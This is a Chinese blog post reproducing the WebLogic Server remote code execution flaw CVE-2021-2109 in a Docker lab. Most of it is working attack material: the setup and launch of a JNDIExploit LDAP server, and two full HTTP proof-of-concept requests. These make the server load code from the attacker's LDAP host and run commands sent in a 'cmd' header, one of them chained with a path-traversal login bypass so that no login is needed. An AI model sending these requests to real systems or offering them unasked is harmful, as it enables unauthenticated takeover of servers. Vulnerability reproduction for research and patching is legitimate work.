CVE-2021-2109 Weblogic Server远程代码执行漏洞复现

作者: print("") 分类: 漏洞复现 发布时间: 2021-01-21 17:11

Docker 搭建环境

docker pull ismaleiva90/weblogic12

docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest
http://localhost:49163/console
User: weblogic
Pass: welcome1

访问weblogic




登陆进去。




启动LDAP https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11

https://www.o2oxy.cn/wp-content/uploads/2021/01/1.zip

[root@localhost JNDIExploit v1.11]# java -jar JNDIExploit-v1.11.jar -i 192.168.1.72
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...

POC:

POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;72:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.1.72:49163
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami
Cookie:  ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close

有个坑就是192.168.1;72:1389

分号。请注意

然后配合未授权访问后台的漏洞,

POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;72:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.1.72:49163
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:pwd
Connection: close

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